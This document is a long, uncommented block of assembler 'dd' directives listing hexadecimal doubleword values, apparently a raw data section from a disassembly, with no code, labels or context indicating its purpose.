dd 0C955B077h, 556D30E8h, 5AB3044Ah, 0EB5CB017h, 19E67874h
dd 0E6FEA6A0h, 0DF71173Bh
dd 5FC108FCh, 3B08B3B9h, 17A0F0B7h, 0E8A00ECDh, 46B70CC1h
dd 0C91344EBh, 8F8CED00h, 317988A9h, 9B893A9Ch, 0A6625280h
dd 68728E4h, 0B5E6FC4Bh, 0F2FABF12h, 391C771Eh, 0BA9C530Bh
dd 0F6A97427h, 0BB111F24h, 690DD909h, 3C3ADF0Ah, 0C32580A5h
dd 18C3372Eh, 2DB168F5h, 2D8F339Dh, 241AFE72h, 47000AF9h
dd 21BA5183h, 66B00060h, 0E0576733h, 4F3EF319h, 0F8E104BBh
dd 8AE85B59h, 0B558F2D2h, 0C6398982h, 6012FDEh, 400F104Ch
dd 407446EFh, 6504A0A4h, 9A4B02B5h, 72EBFBF0h, 79511A74h
dd 7F9D0911h, 5BB80892h, 0DE7BF085h, 4E97F572h, 135BD69h
dd 0B4AAC500h, 126196E3h, 0DBE1FF0Dh, 6E18006h, 988BF6FFh
dd 0A5BF13B5h, 882FA217h, 5860A515h, 149DEEDBh, 571E442Eh
dd 0ED4A61B8h, 0CA4B84BDh, 0A5D3342Ah, 813A59B1h, 3B3019CFh
dd 0E2402AB3h, 0ED929726h, 234D3782h, 45D67209h, 0FC726Dh
dd 0A22EDA90h, 1C2BEBD2h, 44C2AD97h, 0C1B90B51h, 100D8EC5h
dd 0CC78160h, 63BDC6BEh, 0DC2FF2D8h, 0B19841B5h, 0B3C1B72Fh
dd 0F9DA27E6h, 1554876h, 0EBE63A62h, 1B20307Fh, 4B4048B1h
dd 0B36E85h, 0F605BA3Dh, 22F37606h, 0D1E2960Fh, 3FED6555h
dd 909E09AEh, 0A12E445Dh, 0A89F50D3h, 1CE566FBh, 11442231h
dd 5210099h, 0EABD592Bh, 0E008073h, 4AC6CC9Dh, 4D856F6Ch
dd 8CE8556Ah, 8529C504h, 0F813279Dh, 103BDFBEh, 68022AE9h
dd 0E5B2167Ch, 80D7174Ah, 6CED8349h, 0DDF94B1Ah, 0C1CA5AFFh
dd 5A891D64h, 2EF70B7Fh, 46DE4B74h, 54E1415h, 98F1936Ah
dd 2382929h, 83A1B9CBh, 0E01AB2B7h, 98E6984h, 1E7A8D5Ah
dd 91D3355Dh, 0A6218216h, 0F961C0B9h, 4E45B72Fh, 905B4BABh
dd 48210EFCh, 0A113D46Ch, 761DA71Ch, 19DDE4Eh, 96B1DA3Bh
dd 0A9604F9h, 0BBF5C557h, 35570625h, 5F6887F7h, 0F8CF12E6h
dd 9181F54Ch, 2EAD7581h, 87DBE117h, 0A2ADF780h, 0E40B84CFh
dd 18295026h, 0ABC442h, 1D0C8D8Ch, 8B266121h, 59492507h
dd 2993973h, 6006BFC8h, 97243489h, 0A2C05E4Dh, 32883645h
dd 0E550227Ch, 235B2858h, 0C6B1B3B7h, 64EB6036h, 0E80E6714h
dd 0EF3F006Ah, 27A8528Fh, 5D2A00EDh, 0C91CCAD8h, 0BB0B2973h
dd 20AD9D03h, 2C685BC7h, 257C0111h, 0F40B660h, 8F306E8Ah
dd 9D612B43h, 12D30A00h, 0F5482563h, 52FD2FC7h, 0ABDB951Ah
dd 30191651h, 4197A41Dh, 90031D6Dh, 0BB89BFE0h, 5F4F7FEAh
dd 41090E07h, 50F67CDDh, 7E6DB7D9h, 39601A64h, 997C1916h
dd 80ED4C01h, 5061A9D7h, 8229A421h, 0BBE75F25h, 0D4C07CA5h
dd 8C30A80Fh, 0AC2582E0h, 51745C7Bh, 52342F0Dh, 0FEC9ABh
dd 4715FA86h, 725C9D97h, 2A69E802h, 2D741CDDh, 6F04EFh
dd 0EF8B8040h, 0E47F14DBh, 0C0B3A2B3h, 0F5A85F4Bh, 0B25FF64Ah
dd 0C7F9311Dh, 0ED7F1AA8h, 3F0F209h, 27DF769Bh, 2F557A74h
dd 59495FF9h, 3B78A742h, 0D2D2FE9h, 51A8F479h, 0DE334098h
dd 0D596BCA4h, 0BC0841C7h, 0DDF0C756h, 0E7E29813h, 74435325h
dd 87944067h, 1F06A372h, 12E91093h, 0C81D0719h, 0E08DCD04h
dd 69F57B20h, 9DFABD00h, 0C1470880h, 9A5B4AE9h, 0C215C849h
dd 155E55A6h, 0B2DA8A62h, 0DD2A40AEh, 0EE12978Fh, 0E07BED75h
dd 70E691DCh, 61EB254Ah, 708E184h, 0CAAB88C4h, 0D4CB0205h
dd 5EBB4E91h, 37FD4920h, 383389AEh, 83F435C2h, 7BFEB78Bh
dd 0D65FA688h, 6F8EA402h, 0FEA5B5B7h, 9BEE0942h, 0C5B32878h
dd 0D4C80B7Ah, 186108E5h, 0D32DC2A5h, 3FAC700Bh, 82BE5639h
dd 91F7EC08h, 4E4DF88Fh, 0B4C5EC2Dh, 4AE76AFFh, 1EC45AE4h
dd 0AD2D4971h, 541BC70h, 3C8BD92Bh, 5B34ED8h, 9CE38104h
dd 8CDAABB3h, 78C014C8h, 254028BBh, 5AD35FDFh, 63585BABh
dd 993C0766h, 43A9BB01h, 0EBE43A9Bh, 0F9101720h, 0F736009Ah
dd 0C670F1ABh, 665D2E96h, 1CA64A86h, 5806F0E0h, 0C4EAFA27h
dd 0BD2316D8h, 0E2B652D5h, 10F0A90Fh, 16B8901Ch, 8859816Fh
dd 0F403730Dh, 2770186Dh, 467FA825h, 59ED0784h, 125DA15Fh
dd 6E77D4E1h, 6F35B5E0h, 4DEBDC84h, 0EEA51BBCh, 0B8E96394h
dd 0D50901B8h, 0DF9F403Bh, 26CD6C02h, 659D2301h, 5015092Bh
dd 0FC0046C4h, 0B3C77C1Bh, 752793C4h, 4CBD00EEh, 732D60D4h
dd 0DA02614Dh, 0E5B1F3BFh, 70A9DD18h, 15778C02h, 457D41EAh
dd 8A115011h, 530D1401h, 2A758509h, 0D65BB904h, 0C0A17DA6h
dd 739EAF47h, 0DC91F057h, 0F890704Eh, 9D5ED380h, 1759FADBh
dd 8401EC18h, 9D0349A3h, 0A32B18C1h, 564589FBh, 3002F662h
dd 0FDDCFF1h, 38985F8Eh, 0EC9D1ACDh, 1746B7BDh, 97862FE4h
dd 751297D3h, 15ECF2E9h, 0B93F0B8Ch, 147639E9h, 0C6FD027h
dd 0C18BB282h, 4EB70AA7h, 0DC2196E1h, 0BDF1EE02h, 0D0EF18B2h
dd 2D01305Eh, 28598DF1h, 0CBBB8FBCh, 0F02AC6F5h, 240072C2h
dd 57BB6050h, 0EC2517B1h, 615B3852h, 0AC6D90ADh, 9BC6CFC0h
dd 0FC2F05BCh, 0E4C4FA4Ah, 4E7648AEh, 83D0FF93h, 0AD8809DDh
dd 21DFC43Dh, 0ACA39631h, 0EFA00067h, 8A28BC08h, 0CF12CFD1h
dd 2F12A64h, 93E22F76h, 255A047Fh, 6CD55518h, 10579027h
dd 0B996BAh, 0BE4C9FDFh, 39203155h, 337FC000h, 5F9A592Eh
dd 4B527350h, 0AFBD8590h, 3DA98256h, 137AC0BDh, 45114F04h
dd 0F8229A3h, 0A379570Fh, 0C63CA580h, 4B32823Ah, 0A01BB7C9h
dd 39B11F51h, 0AA8BAC3Bh, 355F9A78h, 49CCAF08h, 0F074990Bh
dd 9512F035h, 93487FD1h, 0D1DA25h, 0BB50D1FFh, 3152A9DFh
dd 85295F1Ch, 69ECCA79h, 3DD56EE2h, 287CA540h, 65259C4Ch
dd 5A02E71Eh, 29DDF7DDh, 95004458h, 5A50D256h, 6741025Ch
dd 19750285h, 6FDF6FEAh, 0ADEA63ADh, 7BE99EC8h, 88E67B7h
dd 702DA3A0h, 8014B1B4h, 6D9C3546h, 0F2011650h, 0CE1E094Bh
dd 27305399h, 19FD003Fh, 0C9C381B6h, 584B4563h, 580B0ACCh
dd 0FD6AA49Dh, 2070617Ch, 0CC3CFCCEh, 0E4F1F700h, 0A2BC60FDh
dd 0FDA85C88h, 6E3F9341h, 9A171675h, 0F6ADC7C4h, 29F80592h
dd 97CAAE28h, 5095DC4Ah, 22245F58h, 168A4E02h, 6159FF9Ch
dd 0E28FB5Eh, 81E81480h, 4F01CE1Ch, 0B5419A22h, 622E388Fh
dd 89270D88h, 8B1569BBh, 382AED2Ah, 14313FB0h, 100E1771h
dd 0E6142C91h, 16C0CA70h, 8DAF1CB0h, 0E81D7D00h, 65E319F0h
dd 0C09D00BAh, 8E53C4F3h, 606271E4h, 50F4946h, 0C5CE192Bh
dd 984E2E61h, 122211C1h, 45245B00h, 3A960A98h, 0EDE717F2h
dd 2101BBEAh, 0B4CA603Bh, 0FCA2092Eh, 0F5169D71h, 0A99D6742h
dd 40925C33h, 5E27DF81h, 0C2695025h, 40CD5697h, 0AF091AC3h
dd 636BD000h, 3DBD0B49h, 0C8AFCB13h, 9684D678h, 0F110D162h
dd 0E7A45C29h, 213314B5h, 0BF002669h, 0DC2D1228h, 91DDA59h
dd 1CB1BD33h, 7025A771h, 0FC6D25DCh, 3E06674h, 0C82749BDh
dd 0DEAF2E6Dh, 72596913h, 0BF031F11h, 430A3777h, 1486A5F2h
dd 2841B9FEh, 51040044h, 4EB912B3h, 0B31EA8Fh, 750B3D9Dh
dd 1A93A49Fh, 22AC260h, 0C9B20BF4h, 0BC0758B9h, 0ED5FD9C6h
dd 817B4928h, 2F62A500h, 420EE42h, 0E91171DCh, 0D652400Ah
dd 591323Ah, 7F2F957Ch, 1094E8E8h, 810009E9h, 41D6B1EFh
dd 0B9246173h, 0F4AF080Ah, 86BF60B9h, 21504EDEh, 0D59A4585h
dd 0F6708B95h, 5400DCBBh, 5BC791Dh, 9D113358h, 2FC95882h
dd 0FC61F801h, 20F0AF36h, 0A512D951h, 3EFFE9F8h, 4A2B3DE1h
dd 2A09296Eh, 12DF09CBh
dd 44CE5628h, 0F0A9B8F8h, 0D3218C0Fh, 4B34E227h, 0C93557AAh
dd 7F19D8AEh, 9B385200h, 0D65A81FEh, 19F99572h, 99B5F92h
dd 0BBD40580h, 0AC02B1D6h, 31950667h, 0D2705D8Dh, 0A3CB811Ch
dd 13BA6192h, 0ECACADACh, 60F89E5Eh, 212D9D03h, 81C2D395h
dd 235D61BFh, 3D8B2E79h, 0A81DA9D7h, 3A009F9h, 0C100384Bh
dd 0BD018862h, 760F3127h, 9B27111h, 0C19375F5h, 1A7EBEB8h
dd 0B708D000h, 0C9F86DD4h, 0D6805EB1h, 220E7F65h, 0AC195923h
dd 0FD8107Fh, 0DC30938Dh, 0A841B7h, 94B863CCh, 428D9235h
dd 91851404h, 1DBCE4EDh, 0FECF81C0h, 5B132DEBh, 356FE1FFh
dd 522B0803h, 0D7E0780Ch, 9097040Dh, 7F1DD9h, 0DC0E11B6h
dd 0FC3227E7h, 0DF1D1FF2h, 5B92EFE5h, 0A3527330h, 6E47093Fh
dd 43C98589h, 27282F5Bh, 65608AF3h, 479719A1h, 4CFB1156h
dd 2D40DF66h, 1B0C63C0h, 0CA914BACh, 35AB342Dh, 61E98687h
dd 6E7F600Dh, 8B79096Ah, 45D918DEh, 0F1CD1E20h, 0A03EC0C2h
dd 1DF5C71Eh, 4269D004h, 5EBCE9D8h, 0B9E18012h, 213BC00h
dd 0BC7679B7h, 22462C78h, 58C49A1Ch, 0D3088C40h, 79DFDAC3h
dd 85A497F6h, 83815274h, 1763A628h, 910D9200h, 0D2F79725h
dd 776A2E12h, 393972F1h, 8612B9ECh, 4842EB5h, 5F9BD8ABh
dd 0C00C5048h, 0DFB64522h, 5C52F6B2h, 312F8A60h, 585A0598h
dd 427AF90h, 0C1D46D24h, 3EBF4A0Bh, 0BE6A7EA0h, 0AF01DEF4h
dd 0B7A84299h, 4E9251F4h, 0A090E8DAh, 0E55A5360h, 0D0768C2Bh
dd 67AE500h, 70AB3802h, 2BA40030h, 5E018E9Eh, 505D615Fh
dd 8BBA180Eh, 0ED33B77Dh, 80D5373Eh, 0C973E9A1h, 0C58AB801h
dd 359A7E50h, 5CDA8BDCh, 0E99455Fh, 0C1DC5B58h, 0EB1E9CF0h
dd 1C2CE60h, 0B11FD781h, 9D6174D8h, 0FAF289A2h, 0EB7756F8h
dd 38509C7Bh, 0EDA2132Bh, 6A44E1F7h, 257D06C1h, 0D4C78101h
dd 4E2541FBh, 76B9E661h, 0C20CF229h, 236E926h, 11DC24FDh
dd 6B2E42A1h, 17238Ch, 2EC73172h, 7D25BD89h, 988DEE2Ah
dd 26F9250Dh, 46DEBA74h, 0DA65001Bh, 2C2DBBE1h, 81FD01F0h
dd 0E63F8CDFh, 94752F53h, 0B3A09AE6h, 3F043CCCh, 689FFA6h
dd 92B815E9h, 0B382124Eh, 0BE1066FAh, 0A01DE87h, 9777BBD5h
dd 1E2F32EDh, 0E49001A9h, 33967BB2h, 0D6C1F10h, 562E0949h
dd 0A1FF40DBh, 4D009BFDh, 7BE25099h, 972CC7CFh, 5B972FD9h
dd 30A752BAh, 107EA6D2h, 38BCB600h, 604BCB55h, 489C033Ah
dd 13F98B7Ah, 323E3E44h, 0F014CF0Bh, 6FC11895h, 4A78077Ah
dd 652FAA6Eh, 9098BE38h, 5B62B75Fh, 0C0BFEDDDh, 0CAEE4C6Fh
dd 2FD8B4A1h, 3904CC35h, 39BE3031h, 50FA42CBh, 85407756h
dd 0D7734Fh, 0BFD2434Ah, 392EC517h, 0C5E35B4Bh, 604EDA20h
dd 2C23D20h, 0E2B0039Ch, 65FB2A1Bh, 0BD1595C0h, 0E7BECE00h
dd 525309E9h, 6159285Eh, 0FCB30166h, 3DBD2358h, 0C4742F26h
dd 60CECDBBh, 0E69AF8F2h, 703F53B7h, 32008B05h, 37F00658h
dd 7D15BF7Fh, 8126015Bh, 0C1169CD3h, 0B5073064h, 0F5FD0F4Eh
dd 0CBAC19BCh, 2634E00h, 8A6111B3h, 5E5AE7D8h, 0C042DDC7h
dd 97E74C96h, 3A72894Ch, 5CE123Fh, 82D2EBF2h, 9CDD26BDh
dd 7B444AB0h, 332026CFh, 0F1D83400h, 0B538E932h, 0E7892DBDh
dd 0D705D1B6h, 59E42Dh, 0BE397F1h, 0FCF5373h, 4AC90504h
dd 6EFF3785h, 42F04EF8h, 958302CBh, 0B890F56h, 7580F65Bh
dd 0B6AE793Fh, 8A5B4E5Fh, 0A7602145h, 7850D5DBh, 293904E6h
dd 8F0C8995h, 632F351Bh, 5000616Fh, 0D690B5A8h, 743863E8h
dd 2FE8C860h, 1768F285h, 0EA8D2361h, 89B98356h, 0C7529E4Fh
dd 822BB09Dh, 5D18650Eh, 68339F39h, 82F24A78h, 80779AD2h
dd 0D76E6199h, 3734009Fh, 8D89C893h, 0F3B51541h, 0EEF67ACBh
dd 0A5409CC7h, 4C5F1FFFh, 1A27AD09h, 142130E8h, 82CA7582h
dd 0B370A4F3h, 0A4D0B53Fh, 99DF8013h, 0DCA95DA2h, 0F0E88009h
dd 19B586A0h, 0C57B4E97h, 2130A5BEh, 0A2859C8h, 4B69E040h
dd 9260A217h, 2E16831Eh, 49A96BBEh, 677CC0D4h, 4F51F656h
dd 0BC3E3457h, 986E4E10h, 0A101C900h, 3319A06Fh, 28B1B9B0h
dd 0B2A90980h, 0EC0776Ch, 8BFE04Dh, 7A8425E0h, 427378Fh
dd 562642FCh, 0A102DC2Ah, 6DB52999h, 0DE1E742Ch, 0D5021946h
dd 642C61A7h, 0C82E0E55h, 0DAD4271Dh, 0EF2485C4h, 25322B08h
dd 87B42CE4h, 0C0A107DEh, 443D11D7h, 0A384EA53h, 0AD5BBAADh
dd 9CBABC08h, 6FA7096Bh, 427415F5h, 7340A778h, 4E970A01h
dd 0FD988068h, 0D8508225h, 0D66A3024h, 0D1B7AFh, 0E356821h
dd 9A023E78h, 0F780A175h, 5C4E5D53h, 76289527h, 0DEBF50E7h
dd 2D2DAB90h, 0C4C2D915h, 12DEEB58h, 0D3472AC0h, 0E01DAF0h
dd 0C27838BBh, 6763606Ch, 3B035004h, 8A81EBA6h, 5A020435h
dd 69121670h, 0DB88509Dh, 0D95B0040h, 0E56423FFh, 9CFC6986h
dd 0F5D0964Bh, 2BC656BFh, 92805B6Ah, 2CFF3D8h, 0B2F0A2BFh
dd 0C49EDD57h, 23D98CC4h, 7BE273BCh, 80453DFFh, 0FCB0B6ACh
dd 6D16C4F5h, 34AAC8A8h, 926FB8D7h, 0EFC13CDBh, 309916B9h
dd 0C64B10DEh, 0F28479DEh, 3D1E81E8h, 85EA0418h, 9B2EBAC8h
dd 8A0FC082h, 0B50317F9h, 0B42CD45h, 18E9FA68h, 8B00A976h
dd 809EBBC1h, 0CD1E4B92h, 0CC206FB0h, 1E55A05Bh, 8079DF83h
dd 0CAF31EF4h, 2D9044A5h, 227D8D10h, 50905F09h, 57BBF368h
dd 114EF378h, 0E65F27E8h, 0F429E0C3h, 72ECEC13h, 9C8D74FEh
dd 2C742772h, 1C2D00F4h, 0CB3FF77Ah, 33539F5h, 5EB64EF2h
dd 0F862F8E1h, 0B728CA1Fh, 894EE952h, 5482E3ECh, 0ADEFACB4h
dd 87E54741h, 8B8BFD2Fh, 0C0BA6905h, 5D381D8h, 3C0F2D03h
dd 0E630EF90h, 27AB37BBh, 41D02F7Ah, 0B88D79FFh, 835602FAh
dd 0FBE029D6h, 73F4B654h, 0B4FD06DAh, 0CA39316Ch, 1AA8755Fh
dd 4D852981h, 9DDD2B04h, 0BF434Ch, 87E4D3BBh, 3AB33D82h
dd 6ECE6D04h, 47B878A6h, 5F5B50C1h, 7D5ECE56h, 0ADFE69h
dd 9D09D1FFh, 9C971B5Dh, 44B96973h, 5278EA73h, 1D250257h
dd 94F673C0h, 496A037Dh, 0BCD222Ch, 74DC3500h, 0DD1330D5h
dd 4E4A04D8h, 0F985095Eh, 765F25CEh, 0C2BF00E5h, 0BB5390EEh
dd 12B0783Dh, 0B35F5B22h, 425F1984h, 88C812FAh, 0EC034F9Dh
dd 0A98C07CCh, 7095F0DFh, 93D224FAh, 0B87C2FC5h, 0B2195EDEh
dd 211A87Dh, 0B887AAF6h, 805D1B28h, 0B3396361h, 0F1E925B1h
dd 5EC2D579h, 3D5E12B4h, 0F2200D4h, 803336BEh, 8102E9E7h
dd 0B809E4CBh, 82BADD55h, 0D448DEh, 8A9F761Ah, 27BF50F8h
dd 0F6DD3325h, 0DE29A4DBh, 0B860AC28h, 0D0D9344Bh, 2FE2960h
dd 0D4AEC781h, 0D35E72F8h, 44B7576Bh, 0DF0B829Eh, 250870A4h
dd 8E7B30F9h, 0B5F118B3h, 0D34B8FAFh, 72D79D71h, 0B713CD1h
dd 5C19A82Ah, 0C8C8D65Fh, 799A00EAh, 0F92DB6B3h, 0B9E4A55Dh
dd 624A1402h, 5D95092Eh, 0B1970044h, 0F117521h, 0CEB23B83h
dd 51319481h, 0DE25F4D8h, 44817F25h, 18CEE4Eh, 3E828E01h
dd 0C0B0987Ch, 85170360h, 0ACF62CDDh, 7C953300h, 1363D5B9h
dd 76FF8603h, 0A08C7EEAh, 17BD4029h, 4506061h, 40C6D37h
dd 28FC015Eh, 70E66182h, 9D5AC82h, 71E4F901h, 1CC51288h
dd 97C55025h, 10842A2h, 0F868337Dh, 0FACB3Eh, 5F52B09Bh
dd 318D095Bh, 8268DC97h, 0BA4EB7C8h, 0EF811980h, 363BA35Ah
dd 9FE30248h, 0F76E1E13h, 32438DC4h, 95B56028h, 0FDF13CA9h
dd 61C18A84h, 0B3D0C8EEh
dd 96CCD85Fh, 59BD3C03h, 0D1078BC0h, 87DEEB81h, 8AA87734h
dd 52B18298h, 89221205h, 0E350FDB5h, 0BA65299Bh, 506FD140h
dd 30E00078h, 0CE96A634h, 1204E7E1h, 53639528h, 8D0742BAh
dd 0C20B2509h, 0D41BDD0Eh, 2FF91E16h, 186A34BEh, 6911C31h
dd 8F5079C8h, 26699531h, 38CDCC57h, 23A78501h, 3544734Ch
dd 65EDFE89h, 5A51F2Ah, 8453FE1Bh, 7E65EF55h, 7A95D10Ah
dd 2D250D91h, 973D9CFFh, 1CD089B0h, 21952980h, 0F250AD5h
dd 0D3E409BCh, 2CB5A768h, 0EDCF0104h, 0B96EC8AFh, 0FB07212Fh
dd 0A487D035h, 65F22001h, 6F4F693h, 0E083442Ch, 8AF84CE9h
dd 5901F85Dh, 5FA29D7Ch, 76CC2BBFh, 0E3E0B502h, 359D1B4Dh
dd 8016117Ah, 66AB5AD4h, 624670BBh, 1A9558FCh, 42C02B02h
dd 0A534FC82h, 2EAB5370h, 4C5CD2F2h, 0B1844FDCh, 5B893C54h
dd 0DDC493A6h, 0D8861D0Ch, 0A047880Dh, 591143A7h, 0D30BA049h
dd 65766F38h, 1B46D6h, 854D4FFFh, 5E52BCF0h, 0AD9AF9C7h
dd 6D0E8667h, 0A4600876h, 0DEE5EC96h, 2CD34195h, 0C50C8B2Eh
dd 3CBBF98Ah, 3DB7900Ah, 45BC8938h, 11001A51h, 9339E5D9h
dd 37764Ah, 3F19D413h, 8C0FE0BDh, 51276998h, 0D4344C1Bh
dd 0E1D2C41Ah, 87E82FECh, 55BF63C0h, 0D965438h, 4BA8A915h
dd 63B6F885h, 754A4E2h, 0FB6A5A40h, 392B00A5h, 0D0E6F129h
dd 0DB021458h, 6CF4E4E2h, 51E05E71h, 13ED1401h, 9D2EB9h
dd 0ECFD282Eh, 0BF6653C0h, 0F8154B0h, 3116B6D7h, 8CFAF232h
dd 9BF2F9Fh, 47DFDDDh, 0BB1D7E25h, 7800507Bh, 0FB67C770h
dd 2625C680h, 0B98DF992h, 132585BBh, 4D2559D1h, 0E8D8C0DDh
dd 4A02C2E5h, 219D2BC0h, 0A4CDF71Eh, 7AD34Bh, 6C7A8B4Dh
dd 35090F7Fh, 0D2CD059Bh, 2BE46A14h, 0B5703E26h, 10B84EEh
dd 0DD2CBD95h, 0FC16273Bh, 5BED27D9h, 0F963A0D2h, 0BDBB9007h
dd 50172E9Fh, 0E8457D60h, 2636F922h, 0C3C7FBF5h, 6E639A21h
dd 0DB7F7521h, 0E080CFE4h, 3169FC68h, 214497ADh, 0ED9A030Bh
dd 0C0C4ED52h, 1313A1Fh, 28F99D10h, 8D17C14Ch, 0D309B925h
dd 5635D182h, 5902EB54h, 3A5D23A1h, 10B50B37h, 0B5A0E9FAh
dd 58569A1h, 29810522h, 2D2F103Dh, 0A8AA2D84h, 0B9D40E73h
dd 5969F83Dh, 0B828179h, 1C30A19Dh, 400EEDB7h, 3328807Dh
dd 3A52E101h, 0B0B78DF6h, 517E322Fh, 154D9682h, 0B506500Ch
dd 0DE5AA5DBh, 4D2C513h, 0AF3269A9h, 9C9AED64h, 27F2DFCAh
dd 8B4C4E72h, 0BF50C0E9h, 5BA34759h, 0EE751371h, 5D305109h
dd 0A9D447BAh, 55203D40h, 77EE0103h, 0FA19F168h, 0FB824253h
dd 0EA9E8F7h, 93E57B1Ah, 5AF87BA2h, 0E022E4Eh, 8D83A523h
dd 0FC76FE85h, 666FB700h, 56B2BB80h, 0FE8F9D8Bh, 4E5CB43Ah
dd 0C382FF6Bh, 0D590F5h, 5BCBBB11h, 0F7912D7h, 22901C31h
dd 0DA585A2Fh, 7100A1A1h, 9A4E7528h, 0C019C83Fh, 155DE943h
dd 617BB512h, 0C4008F6Fh, 69961BAEh, 511636D8h, 8AE95FF5h
dd 0C4510DEDh, 3E00F9ACh, 0F381D829h, 4AEE2DC4h, 4BEACA46h
dd 0A9E612FAh, 1A1BB881h, 1526E985h, 684C4298h, 0BA44B609h
dd 8DB5DDA6h, 51816F1h, 60E33013h, 0A7B96309h, 1965339Dh
dd 0A23357FEh, 81F00CEh, 2E2C43CCh, 0E014979Ch, 0D4047B25h
dd 0B316F458h, 62E2FB29h, 0C800CE3Ch, 857B9010h, 2A16DFDEh
dd 0AB00BBD7h, 9E7133B8h, 630891F4h, 0EE840438h, 0EEE451A6h
dd 0B6E6DE5h, 1B5C93CEh, 0DAB060C7h, 482F9842h, 80DFEC5Bh
dd 0F1C4F982h, 8100EC3Bh, 69FD32C0h, 95615B24h, 1C59A8DBh
dd 411D8518h, 1382F76Eh, 60864DB6h, 831D79A4h, 6FEFAC09h
dd 0AC3B7110h, 1B7D09C5h, 7569DF71h, 4E005B35h, 7E99030Eh
dd 507C1621h, 80F9EC60h, 2F099A1Ah, 682300E3h, 0BD6F34B7h
dd 0EE268650h, 0D10B83DCh, 37002B61h, 4E34812Bh, 6BFEB3E0h
dd 73A0E28Ah, 6216651Bh, 60E95B6Fh, 0A0B0F6D3h, 0B82259E6h
dd 172D4F09h, 0CC6BBB4Bh, 0F8C07F49h, 0CD6BBAE3h, 0A4201A5Ah
dd 5A1F543h, 0A84CD19Bh, 0F6DAAE11h, 2B3018C9h, 1C045E4Eh
dd 0F98A311Dh, 0F74E42BDh, 0D634A00Ah, 0E8989CA4h, 0A5007E24h
dd 7DBBB50Ch, 903EBAA3h, 0FB61586Fh, 688B9773h, 73DCED5Eh
dd 0EE9900A5h, 9AD1212Dh, 8964AF9Eh, 9FAF0AAEh, 79FBC90Ch
dd 982AC51h, 1E7B1361h, 59CA48BBh, 0DFF95F94h, 0B64AE1E8h
dd 17B2B8E6h, 2F9CD830h, 3D9AE766h, 0B0E01BF0h, 9DB79613h
dd 0DA3B84B8h, 599629BBh, 2C6FBB08h, 5CC02749h, 0A2627667h
dd 0C61C3E25h, 0CA4497EEh, 0F9F204E8h, 0EF8A424Bh, 0B1C52D22h
dd 0DBF13158h, 214AB16Eh, 55DB2E34h, 8BE285C9h, 1B117235h
dd 39C17783h, 732B6798h, 0E5352EE3h, 16CEEAh, 16058BCh
dd 0D82BF1Ah, 7D845645h, 0B27B6A8Bh, 2948F00h, 0CA961A2Eh
dd 5AA6A4Ah, 0F90B39FCh, 0EDE8C4h, 3A869433h, 0BAB94B42h
dd 853824B8h, 0F9D84135h, 43949761h, 9DE5853h, 7B4D7ECBh
dd 0F871A11Eh, 1D75FC18h, 0DF284C01h, 0C65CB774h, 0E0CDD7C2h
dd 0C5A865EEh, 9201D308h, 0C020F2F5h, 95F38052h, 1CE9275Fh
dd 0E91C576h, 0A7F8EB00h, 0A87175EAh, 5D79DC00h, 0DAB92B25h
dd 0FFC1498Bh, 235E30BCh, 13832ECCh, 0BA2EB6F2h, 70F2F556h
dd 0D14A8107h, 0BF010A32h, 693D3DB0h, 9A02AFA8h, 0DFF4E3B1h
dd 0CB505FF6h, 5F746300h, 9BB0A776h, 693C008Dh, 0AF98ADAAh
dd 0DA04EFE8h, 1E3324F1h, 7D31A0BFh, 6200DE7Fh, 68CBACAEh
dd 98C720CEh, 0DA130038h, 2401193Eh, 3360F4A7h, 533C5132h
dd 2947A83h, 0CF5E0785h, 60DFED47h, 6436ECh, 0E10215C3h
dd 23599FF4h, 0D3587C00h, 2D0A2229h, 0EBEC00B0h, 66D1CC20h
dd 100007D7h, 524512FBh, 87543Dh, 9148C590h, 9340BB86h
dd 0DD992825h, 0FC6A9A26h, 54BE40Ch, 3D55DCFh, 9F8CADCEh
dd 17B6044Ah, 0B5CDD403h, 3E154ED8h, 0ED01EF13h, 0A8F50941h
dd 0E1B4D81Bh, 0C2DEF60Ah, 0C093B360h, 0C338EAAh, 3801EB9Fh
dd 0D2E912Eh, 0C8EEC72Ch, 1E0039DCh, 916E8653h, 574014h
dd 1FBAF38Ch, 48602DF8h, 0A6B16507h, 21D187DBh, 12F35476h
dd 0FA23568Ch, 0E5EA6590h, 81570390h, 0B282B896h, 0F83DBC60h
dd 0A8F6D9F1h, 6F719E2h, 9054038Ch, 0F34B1A41h, 9FB904FFh
dd 0DEF4BF66h, 4B4C0010h, 6770255Eh, 0B700CF9Ch, 91FC15DAh
dd 9D445302h, 0B8001956h, 8D7A9D3Bh, 0BCF22A38h, 22C20081h
dd 0A5A324DBh, 0E5070627h, 92ABF0CDh, 45477B70h, 171B00A7h
dd 79BBB1F5h, 91063A30h, 0C9285EA4h, 272E0BC0h, 867EF30Fh
dd 8CAAF193h, 0D41D0D0Eh, 0BC7B1205h, 6DD3BA0h, 6FFD3379h
dd 0FC030082h, 0A36E692Bh, 9690544Fh, 37BE624Bh, 83523467h
dd 80F4584Bh, 8098A687h, 81BD569Dh, 0D70D5338h, 0DD528235h
dd 5D617626h, 32A50F0h, 0E00D064h, 0C4DD22EDh, 0F575AE59h
dd 8521E6F1h, 19EF39C5h, 0CB4B80ECh, 1E0C7Eh, 0D4E52EF9h
dd 6C3BDA69h, 9DE3A80Ah, 6D82A467h, 407A4566h, 928B7757h
dd 9E37061Fh, 27CD0349h, 0B418CCE2h, 6E118BC4h, 0DEA900AEh
dd 0D9A4B361h, 4601B15Eh, 8BF68D67h, 4C24ABDFh, 6C00846Eh
dd 0AE6D11C7h, 1D397628h, 0C0799AE3h, 16C66131h, 0CE141401h
dd 0CE7298h, 0AB76979Eh, 1188330h, 7562346Dh, 0CDF0DDAAh
dd 7A278074h, 0A0785B73h, 63525407h, 0BE4848CDh, 0A7B06600h
dd 193B908Fh, 50D58800h, 9AB2DF51h, 82C900AAh, 0C8CFDB01h
dd 0DE1280FDh, 0D926A4B9h
dd 0D2D9A91Dh, 304C17C0h, 0A1198AC2h, 96002590h, 0B9BED3C4h
dd 19BBDC80h, 0E00B23F0h, 19F961h, 31DE8EFh, 0ED422F50h
dd 430071A7h, 7B587077h, 3064B9B6h, 0AF19E81Eh, 83623369h
dd 0C032390Ch, 174A65DBh, 8E50DFh, 0EC246E39h, 1A00E3FFh
dd 582334E1h, 5457738Bh, 2755B73Eh, 305756ABh, 381D13h
dd 8CCDC443h, 7C9D4A3Ch, 54498F0Ch, 45A6E06h, 4B0B8853h
dd 0E50809Ch, 22F02041h, 300D192h, 3E0F08CAh, 647C9Bh
dd 0D9C6D181h, 0B3E92F84h, 0B2B947C1h, 0F9D9ED4h, 0F8C38081h
